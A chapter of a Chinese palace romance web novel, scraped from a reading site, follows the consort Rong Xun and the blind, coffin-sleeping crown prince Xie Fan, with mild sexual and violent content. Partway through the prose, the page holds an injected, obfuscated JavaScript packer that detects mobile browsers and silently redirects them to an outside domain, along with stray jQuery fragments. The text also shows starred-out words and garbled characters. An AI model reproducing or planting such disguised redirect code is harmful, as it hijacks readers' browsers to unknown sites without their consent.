默认冷灰
24号文字
方正启体

第 70 章 在权谋甜宠文里当养鱼达人(28)

作者:公子永安本书字数:K更新时间:
    第70章在权谋甜宠文里当养鱼达人(28)


    【我们男孩子粉点怎么了?】


    有了萧白堕的推波助澜,边厉扬被迫接受了这一份出征命令出宫后他哪里也不去,就跟在萧白堕的后头用**的目光恶狠狠瞪他。


    萧白堕回了太子府邸。


    那短发少年就抱着脑袋,在他后头阴阳怪气的,“回去又有什么用?反正都是给人当小的。”


    萧白堕斜睨他“小的也好过无名无分的。”


    边厉扬:“……”


    他那次要是没有逃婚,他现在就是大老公了好不好?这变态在他面前都得叫他一声厉哥!


    很不巧世子爷刚进来就撞见了谢梵单手解开那鬼神面具红绳从耳颊滑落唇色如山花欲燃。


    那是射神男女成婚的最后一道仪式。


    边厉扬手臂一顿。


    从那元乾宫回来御街就响起了子时的梆,射神国供奉神佛道观无数几乎是每隔一段官道,就有装潢精美的庙阁,这白日里香火缭绕宛如某种辉煌神国便是到了夜间也是烛火煌煌,烟雾笼金堆善男信女彻夜不眠,只为求得一个今生恩缘。


    可当他踏入这冷寂多年的东宫,那股神佛庇佑的暖意消失得无影无踪寒瑟的冷风几乎是一瞬钻进他的腕心。


    那高高翘起的梁架缠满了婚嫁的红绸与喜幛当它们在风中飞舞时殿内的暖香红焰也随之摇曳,他隐隐约约窥见那张盛嫁的脸庞白描牡丹般轻薄又飘逸的线条只唇上那一点红像是落入了万魔的血海里妖冶得蛊惑人心。


    她面前那一道阴影狭长又幽凉正在吞噬她的胸脯。


    是谢梵!


    不管是在正史还是野史里他都是一笔洗不掉的血债。


    **!**!残暴!


    谢帝酷爱刑罚垒砌京观以人骨作为赏玩品更有传言他的心上人是个出身低微的小婢女被他百般溺宠可是到了后期她消失得无影无踪史学家翻遍了蛛丝马迹在那斩仙池里发现了骇然的踪迹!


    这他妈还是个摘人脑袋当荷花蓬蓬头的病娇!


    好像只要是跟谢帝表白的无论是宫婢贵女夫人都被他做成了池上琉璃花据说还开了不少场夏日赏荷宴把他家那些大臣吓得面如土色回家都呕吐了好几日!


    边厉扬是个正直又热爱和平的少年


    他按着小腹暗暗心想他这位心狠手辣的表姐可算是遇上了硬茬子!


    殿内的暖香飘飘扬扬拂过他的鼻尖。


    边厉扬又是不自觉抬眸。


    她眼睫颤动


    眸珠婉转,那一抹神光似乎落到他的身上,当梁下的红绸再度飞起,光影明灭不定,她泪珠如银线,一瞬滑落颊涡,满殿的香雾都因她这一刹落泪而变得清亮通透。


    边厉扬微微一愣。


    年少的他又怎么会懂得,越是惊心动魄的破碎,越是藏着一副不为人知的剧毒。


    萧白堕却很清楚,这是本国独有的哭嫁,却不是对着父母兄弟姐妹,而是在新婚之夜前,恳求她的夫君怜她,惜她,不教她下半生冷落委屈。但随着世代迁移,这一份哭嫁的风俗也渐渐演变成了某种约定俗成的洞房前戏。


    忽地,他心头发闷,越来越喘不过气。


    边厉扬吓了一跳,“喂,我可没碰你,你别碰瓷啊!”


    萧白堕沉浸在自己的剧痛中,他当初对她并无情意,只当为了给许灵薇出气,把她随手就抱回家,又随意丢给了别的男人,如今那红烛相伴的,她为之哭嫁的丈夫,亦不是他!


    这都是报应!


    萧白堕只觉得四面八方涌来暗水,掩埋了他所有的鼻息与呼救,他冷汗涔涔,竟是无颜再见她,抓着胸前衣襟背过身。


    世子爷大步离开东宫的时候,还不忘揪住了边厉扬的后领,把人提给了崔拔都,“把这家伙扔回边府,大军开拨之前,不得他逃脱!”


    边厉扬:“……”


    好吧,只要不是四人洞房,你说什么都可以!


    从幽宫内,谢梵站了半天,有些疲乏,就在床沿坐了下来,脸贴着她的颈,“这样放他们走好吗?你不玩了?”


    “他们有什么好玩的?今夜可是你我的新婚之夜。”


    谢梵想想也是,只不过,他提出了要求,“这床孤没睡过。”


    “他们连床都不给你睡?”


    守夜的宫人就在帐外,听到这一句话吓得连连磕头,“太子妃,冤枉,我们冤枉!”


    谢梵就解释道,“这个不怪他们,孤喜欢睡在棺里。”


    容薰就撩起他颊边的一绺水墨发,带着一丝轻哄,“那咱们今夜就睡棺吧。”


    “……你要陪孤睡?”他迟疑,像极了下水前还要问妈妈可不可以的呆鹅宝宝。


    “当然了,我的乖乖郎君。”


    那具金丝t?楠木棺又被随从们抬到了喜房里,容薰也遣散了守夜的宫婢,只留了她的女使慈金与慈玉,谢梵摸索着躺进去,还主动侧了侧身,方便她躺进来,里头嵌着打磨圆润的宝石,氛围并不阴森,只是空间狭窄,要么谢梵侧着身睡,要么她就趴在他身上。


    谢梵为她选择了前者。


    这个姿势,她免不了碰到一些不该碰的,就伏在他耳边问,“往常都是这般软绵的?”


    容薰还一心二用跟系统聊天


    “这就跟厨娘文要有个失去味觉的男主一样谢梵得在温拾月面前才硬得起来?”


    系统:“……”


    系统表示滴滴老子工作超时拒绝回答恋爱哲学。


    谢梵嗯了一声想了想“你可以摸。”


    紧接着他胸前震颤她贴着他低笑那气息里仿佛飞出了一群小蝴蝶钻过他的肌肤与发丝让他有些发痒她那笑腔慵懒“我不摸。”


    谢梵:“为何不摸?”


    容薰:“妾身喜欢罚酒爱吃硬不吃软。”


    谢梵:“……”


    俩人都脱了鞋容薰是薄薄的足袜脚趾头微微勾着他的小腿谢梵体温偏低棺内垫着薄绒都难掩肌肤那一股阴寒的冷气宛若冰棺里还未开封的仙尸她都不禁打了个寒颤。


    容薰觉得这幽禁密室的特殊情趣她可能玩不了于是又敲了敲棺盖慈金连忙帮她开棺


    慈金:“?”


    她瞪大了眼。


    等等这是发生了什么她不知道的情节吗?怎么这感情突然就突飞猛进了?!


    外头泼来一阵吵嚷声随后又复平静脾气温和的慈玉满脸不快“擅闯禁宫这东宫的贱婢真是愈发不知规矩了!”


    苛待神基太子不说如今连个阿猫阿狗都敢跑来寝宫放肆!


    不错在外头放肆的正是那白天碧鸡苑里自告奋勇要驯兽的温拾月兽倒是没训成她被阿鸷重伤了鼻梁跟脖子!


    温拾月捡回一条小命刚从昏迷中醒过来用镜子照看自己的惨状疼得一路嚎哭本能就要谢梵为她做主于是从那下人房跌跌撞撞跑到从幽宫。


    那些侍从也是疏忽职守竟然没一个人发现还真让那小婢女闯到了内宫!


    要不是她跟随大小姐过来早早带了一批自己的人马将她拦在外面说不得被这小贼摸走了多少金银器物!


    容薰对女主的闯祸能力心知肚明她也不生气笑吟吟挽着发。


    “瞧适合陪寝的人选出现了。”


    谢梵心性淡漠他是世人避之不及的怪胎生母因他血崩而亡父皇厌恶他白发红瞳的阴鬼模样从小就将他幽禁这就养成了他异常平静又冷酷的性格。谢梵只对最新的最喜欢的玩具有最强烈的反应于是他抱住容薰往棺内一倒顺便还拉上了棺盖挡住了众女的视线。


    令慈玉慈金脸红的是里头响起了衣物摩擦声。


    慈金咳嗽一声拉着慈玉跑了。


    “这样不管她


    好吗?她白日受伤颇重呢,大抵是需要你暖心安慰的。容薰被这冰冷雪尸揽在胸前,“听说你们在东宫日夜相伴,倒是挺深情厚谊的。


    她还微笑着说,“若是你中意,为妻纳了她又有何妨?


    谢梵说,“她吵,孤不要。


    容薰偏不让他顺心,“妾也吵着呢。


    谢梵:“……


    棺内两侧嵌着夜明珠,光润暖润,贴上来的两瓣唇却冷腻滑软。


    为了让容薰不说话,他还学着她,蜿蜒进去,下舌抵着她的舌根,上齿咬住她的舌心,谢梵就这样两边夹击着,含着她那甘甘的口津飞快睡着。


    次日,慈金慈玉过来开棺时,她们家的大小姐被遮住了半边身体,衣襟松散得露出了那一抹肉粉芙蓉的心衣,青年男子的手掌宽大,骨节分明,如一方苍白嶙峋的山石,将这半株肉粉芙蓉压得不见天日,从石缝中偶尔流出一两分温润的羊脂玉油膏。


    如此活色生香,两女皆是脸红。


    因为太子殿下掌得太紧,她们废了一半力气才将他那指骨桎梏打开,回去给大小姐擦药时,那指痕深得都勒到骨,半天久久不消,她们心疼不已,“大小姐,你也太惯着太子殿下了!


    容薰失笑,“我都没开始,这就惯着了?


    谢梵还在睡梦中,隐隐约约听见殿中主仆的低笑打趣声,眉宇间的皱痕都平坦了不少。


    谢梵感觉自己做了一场长长绵绵的,又极其笔酣墨饱的美梦。


    梦中,与前世迥然不同,他似乎走向了一个新人生的转折点。


    他用那一口父皇要赐死他的金丝楠木棺材做聘礼,竟然真的把他的继舅母聘回来了。


    他还跟她拜堂成亲了,虽然没有宾客。


    若论如今的年岁,这个明艳爱笑,爽朗大方的正妃妻子比他大了五岁,最开始,他偷听得那些侍卫宫婢说,她掌家厉害,赏罚严明,还心性狠绝,便是当着这姑奶奶的面仗**那些屡次犯事的恶仆,她眼都不眨下,还笑着跟贴身女管家说,今晚让厨房做羊血羹!


    东宫松散耍滑的风气都为之一震。


    不过,这碗羊血羹没有摆到他的桌前,他当晚吃的是鸡丝莼菜羹,味道极为香醇,因为没有她盯着,谢梵又不小心吃撑了,回头被她捏着脸教训了。


    也不知她从哪里看出来他不喜腥膻浓烈之物,不只是口味给他做了清淡的调整,那熏衣熏房的香也从百灌香换成了更淡的荔枝木香与梨汁甜香。


    这期间,太子妃不在家,处理田庄事宜去了,他的旧玩具看准时机,就从狗洞爬进来。


    这旧玩具好不容易找到他,对着他就是一通诉苦与抱怨,还把太子妃给他装到织金锦


    囊的几条如意小金鱼拿走了,说是她毁容了,要去看大夫云云。


    谢梵微微皱眉。


    温拾月还有些不满意,“你就这些银子吗?还有没有?你可是太子啊!


    “孤没有。


    谢梵觉得那锦囊被她碰过了,也不想要了,就起身避开。


    “你怎么被她吃得这么死啊?温拾月嘟囔着,大概他是个瞎子的柔弱形象太过深入人心,温拾月也没经他同意,钻进他的卧室一通翻找,抽走了一条白银盘蛇的细条额带,还有一顶灵珠朝月冠拿去抵换。


    经过碧鸡苑一事,温拾月可是吓破了胆儿,她不想再重复前世的路,就拼命把好处都抓在手里。


    此后温拾月似乎尝到了甜头,就借着狗洞的便利,时不时过来顺他一把。


    那心声同样很直白。


    [发了发了早知道这路子老娘能发家致富老娘还矜持什么啊]


    [信女愿一生荤素搭配只求不劳而获坐享其成躺平当好运金鱼啊!]


    [也不知道谢梵有没有被睡过啊啊啊不要啊]


    [我的清冷男神被坏女人玷污脏了啊好气啊啊啊]


    温拾月咽了口唾沫,放下得手的紫繁珠,朝着谢梵走过去。


    [今天那老女人不在不如先干他一炮?]


    [反正不是处男应该也看不出来吧]


    [这种病弱美少年太子不吃真的好亏啊!!!]


    [老娘不能白穿越重生一场啊干了!!!]


    谢梵手里捏着一卷盲书,微微后退了一步。


    此时云雾青青,天机清澈,病弱太子着了一袭荼蘼锦白衣,乌发随意覆在肩头,半挽着,还用一根蓝调子玉仙花发带缠了辫子,外罩着一件枝叶扶疏的蓝金夹纱,随着庭风吹拂,像是半壁明河翻动蓝夜之雪。


    见惯了谢梵一身丧衣的温拾月心跳又是急速跳动,但紧随而来的就是被戳穿心思的恼怒。


    [握草这小瞎子不会是嫌弃我吧?]


    [老娘可是个处都没嫌弃他是个瞎的!!!]


    温拾月很不是滋味。


    往常的从幽宫清冷晦涩,每次她跑进来都像是个森罗鬼宫。


    现今庭中的松多了,蝶也多了,还蓄养起了一群莲花白鹅,个个都养得羽翼丰满,橘头雄壮,似乎听见了这头的动静,那些觅食散步,湖中打滚的大鹅纷纷扑棱着肉翅过来,把它们那美貌清冷的仆人围得密不透风。


    它们还簇拥上来啄着温拾月。


    大鹅的战斗力相当强悍,把温拾月叮啄得四处乱跑,惹出更大的动静前,她慌不择路钻进狗洞跑了。


    当容薰回来,就见这位太子殿下蹲在墙边玩着泥巴,谢梵对万事万物都不亲近,也没有恶感,这是t?他头


    一回表露明显的意图,指使着侍卫。


    “给孤封了狗洞!一只青蝇也不许飞进来!”


    容薰感到好笑,“我可特意留出的,你不跟她玩啦?”


    “不要。”


    听听这话,多么的孩子气,传出去谁信这是嗜血不眨眼的**?


    容薰又掐了掐他的脸腮,经过她多日的努力,还真养出了一些润润甜甜的软肉,她就笑他,“奶呼呼的乖乖,不会只会吃奶吧?”


    谢梵将奶呼呼的少年脸埋进她胸,认真道,“母后难产,孤从未吃过一口奶。”


    她斜睨着他,“那我的太子殿下现在在干什么?”


    “嘬你。”


    嘬嘬嘬嘬嘬。


    谢梵继续埋她,头也不抬,“今日怎么出去得那么晚?”


    “杀了几个人,处理麻烦些。”


    “下次带孤去,孤也很会**。”


    每次他这样说,太子妃都会摸着他的脑袋,“我的好乖乖,下次一定。”


    话是这么说,谢梵却一次也没能接触到**的事件,因为她在约束着东宫,又有一等侯的超品威风,再没有人会不长眼犯到他手上。


    他思索着,难道这太子妃是把孤当小娇妻养了吗?


    太子殿下软饭吃得越来越熟练,也越来越熟悉自家的太子妃。


    太子妃的发丝是软的丝绸,身体肌肤的每一处都是香幽幽,最让他喜欢的是她的唇,热酣酣的,甘津津的,每当她想要教训他,他就会先一步含住她,自己得了味道,也让她无话可说。


    除了吃她的唇,他吃的不再是残羹冷炙,潲水馊饭,而是一些温热软烂的粥食。


    谢梵很不喜欢那些人参粥,生姜粥,总带着一些涩口的苦辣,他才发现自己原来也是挑食的,以前只是得过且过。令太子殿下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16066318|159523||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    微微苦恼的是,每次他想要将这些苦粥倒给他的小宠丝丝时,都会被太子妃当场逮住,她好笑得很。


    “想要毁尸灭迹?你也不找点胃口大的来塞?这样要到什么时候吃得干净?”


    小宠丝丝是一只金丝小鼠,胃口小得很,时人都对过街老鼠深恶痛绝,他养丝丝的时候,还招惹了不少议论,说他不愧是个怪胎,温拾月倒是很喜欢逗丝丝,不过她总是喜欢作怪,丝丝胆小,总是吓破胆,很不愿意往她跟前凑。


    太子妃给丝丝做了个椰瓢壳的窝,丝丝很喜欢,总是拉着他的手指头炫耀新家。


    等谢梵皱着眉吃完那些苦粥之后,便是妻子的游戏时辰,她要他猜她手里的香糖果子,有时是紫苏梅子姜,有时是酸杏子蜜煎。


    有时是她意外的脸颊吻。


    也不再有人对着他大呼小叫,动辄喝骂,自从他把那狗洞封起来后,温拾月再也越不过


    来,他的耳边总是清净得很。


    那些污言秽语仿佛在一夜之间消失得无影无踪。


    他更听到了那一杆杆风竹细细扫闲庭,一只只胖鹅神气十足噗通落水,白昼街外的卖花声一叠又一叠地落在松枝上,抖落一篇篇雨露小诗,偶尔会有些顽皮的小童,腿儿高高踢起,鸡毛毽球就落到了墙内,有时还会是龟将军跟虎将军的风筝。


    他还捡到了好几个漏气的天灯,谢梵看不见,也不知道上边写了什么祝愿。


    墙的那头,游人的高谈阔论,小姐们的心事,儿童玩耍的嬉笑逐渐变得清晰起来。


    还有太子妃喂他红豆甜汤时,她腕间那一枚金镯碰撞着碗沿,声也很脆烈。


    他竟不觉得吵闹。


    深夜,万籁寂静,千佛万尊都已经安睡,他的棺内,或是棺外,也是多了一道平稳安和的呼吸声,她的肌肤透着令人安定的降真香,谢梵张嘴咬了一口,把这块肉儿含得温了,又渐渐睡去。


    次日,容薰发现胸前沉得很,她低头一瞧,黑绒绒的发顶着她的下颌。


    谢梵睡得也很沉,被她掐了两把脸才醒过来,他困倦得抱住她,就听得她问,“怎么跑来跟妾身睡了?殿下不是不中意软床么?


    中意?


    这词对谢梵来很陌生,他一时没有应答。


    不过宫人们发现,他们阴沉寒烈的太子殿下变得越来越像正常清爽的少年郎了!


    最令他们欢呼的是,太子殿下那一身阴惨澄白的寿衣也不穿了,大大降低他们夜里被活活吓死的风险!


    太子殿下还学会了给自己编辫子!


    庭院那群莲花大白鹅生气勃勃的,本来是太子妃拿太子殿下寻开心的,太子殿下竟也认真接手,每日必定花上一两个时辰,板板正正坐在那青墨池旁,钓起池里那一尾尾价值不菲的锦绣虾来喂大鹅。


    她们不知内宫之事,不过从慈管家的口风,她们隐隐得知,太子殿下都不爱睡棺材了!


    太子殿下不再昼伏夜出,白日里活动的迹象越来越活跃。


    这日容薰回来,就见院前摆了那一具金丝楠木棺材,谢梵也破天荒站在日光底下,雪发毫不遮掩,垂腰直落,本就苍白失血的肌肤被晒得几乎半透明,缥缈又虚妄的光泽,她近前一看,他唇上的齿痕深深,还咬出血,显然这样的烈日对他来说是一场酷刑。


    “怎么在这里煎着?快回去。


    谢梵摇头,“让它晒孤,孤晒暖一些,今晚你要抱孤睡,不许再把孤踹下床。


    他知道的,这些人族很庸俗实在,都爱皮**温暖可亲的,那他多晒晒,这身活**的皮肉会不会也暖灿一些?


    他的太子妃似乎怔了下,旋即荡出笑


    意,仿佛也被日光晒透了,有股香花熟透的香气。


    谢梵忽然很想知道,她是怎样笑的呢?平常也会这样带着笑来亲他吗?


    于是他伸手,缓缓摸索,却碰了个空空荡荡。


    “这儿。”


    她握住他的腕心,将惨白的手指搭在颊边,初初触碰,他指尖还蜷缩一瞬,她笑声更浓,“不要紧,你的太子妃瓷实得很,不会被碰坏的。”


    于是他就也放肆起来,掌根从她额头滚落,像是滚落一个春天的热情野坡,滚过她那狐狸似的长睫毛,略微湿润的高挺鼻尖,软黏如糖的嘴唇,这就是人间的模样吗?


    忽地,神基太子贴身凑近她,高高瘦瘦的身架将她抱拢,像是一架依附她而生的雪白地狱,“太子妃,你长得什么样儿?丑吗?”


    谢梵喜好腥杀,审美跟喜好早就扭曲,所有事物的去留都是凭着变幻莫测的心意,头一次,他汲取着这肥润的养料,想要在这人间落地生根。


    长久地,在他的太子妃身边扎根。


    “我也不知道呢。”


    她蹭着他的鼻头。


    “不要紧,孤当是好看的,你丑就多看看孤。”谢梵掌住她的手,提起一世,“薛笛歌的师父,阎万钱可治孤的眼疾,你把他找来,孤要治眼。”


    那群大鹅越来越胖,肉翅也越来越有力,无论是驱赶还是喂养,他看不见稍稍吃力,再说,跟太子妃同床共枕这么多日,他们都没行过一次房,她是不是嫌他瞧不着,脱衣慢了?也是,每次当他折好衣物,太子妃早已熟睡。


    谢梵想得更远一些,若是日后有了孩儿,他眼疾加重,怎么教他们喂鹅钓虾?


    “殿下想要早些看到我么?”


    谢梵并不回应,仍是冰冷漠然的面容,他那小块耳朵软骨没了发丝的遮掩,像是一簇被烈光晒伤的粉茸小花。


    “怎么粉粉的?”


    谢梵心想,男孩子粉点怎么了?他眼疾好时,也是瞧过自己,只要血色充足,哪里都很粉。


    容薰捻了捻这块粉扑扑的耳骨,“殿下放心,上天入地,妾也会把那神医请来,治好殿下的眼疾。”


    三日后,神医阎万钱是被架着数柄利剑,给请到蒙宅的。


    那位姑奶奶高坐上首,“阎神医一双妙手,能令得无数男女重见世间光耀,想必也知道我请您到此处的原因。”


    阎万钱哪里不知道这梁京多了一位女侯,超品等阶,圣人亲封,据说前段时间闹得沸沸扬扬的关州海司一事,王权与商权竟也能握手言和,圣人还把那关州的海司管辖权,一并移交给了这位,梁京的香药生意又重新火爆起来。


    阎万钱惜命,怕得要死,他可不想挨着一等侯的一记成名的血桃箭,连连道,“太子妃放心,老朽从老友那里得知,太子那慧眼是被那乌金丹粉所伤,老朽在路上已想出了调理药方,请您过目。”


    阎万钱也知道这位喜欢干净利落的办事,又保证道,“不出三年,老朽必定还太子一双灵瞳妙目,让您二位恩爱到老!”


    “……恩爱到老?”太子妃似乎笑了一声,她那t?纤纤玉指戴着一枚粗朗**神的男戒,颜色深沉压抑,却很镇得场,“王朝将乱,群雄吃鹿,谁要这不值钱的玩意儿?阎神医莫不是寻我高兴?”


    阎万钱错愕抬头。


    撕啦。


    那张复明的药方被她慢条斯理撕碎,一条又一条的,喂到手边那白茸雪兔。


    那兔儿也仿佛寻到了什么好玩的东西,露出分锋利的齿牙,很快将药方条咬得茸茸烂烂,字迹模糊。


    救赎有什么意思呢?


    “既然太子殿下不受天恩,难继大业,看不看得见又有什么所谓呢?若是让他那狭窄阴暗的地狱,只有我这一束天光照进,岂不是更能欢愉?”


    不如我做炼狱,少年们的人间因我而雨夜将至。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)